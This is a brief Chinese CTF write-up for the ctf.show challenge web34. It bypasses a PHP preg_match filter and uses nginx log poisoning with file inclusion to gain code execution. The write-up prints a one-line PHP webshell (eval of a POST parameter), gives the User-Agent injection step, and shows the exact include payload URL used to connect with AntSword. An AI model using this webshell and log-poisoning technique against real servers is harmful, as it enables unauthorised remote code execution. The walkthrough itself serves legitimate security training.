web34的套路和web33一样,解题姿势也一样,当然也可以换一种解法,比如说日志包含、文件包含、data协议命令执行
日志包含解法:
首先查看preg_match函数过滤的参数
还是老套路,过滤括号,那么只能用不带括号的函数include了,include $_POST[a]
分号被过滤之后可以用?>
代替
尝试包含日志
日志包含成功,接下来就是往日志写马了
用firefox访问然后burpsuite抓包,然后再user-agent里面输入一句话木马<?php eval($_POST[a]);?>
,之后用文件包含连接
一句话木马写入后构造payload让蚁剑访问
构造
payload:
http://00b3c059-9a33-4068-b0a3-968504b2f1ad.challenge.ctf.show:8080/?c=include%0a$_GET[a]?>&a=/var/log/nginx/access.log
连接成功,进入查看flag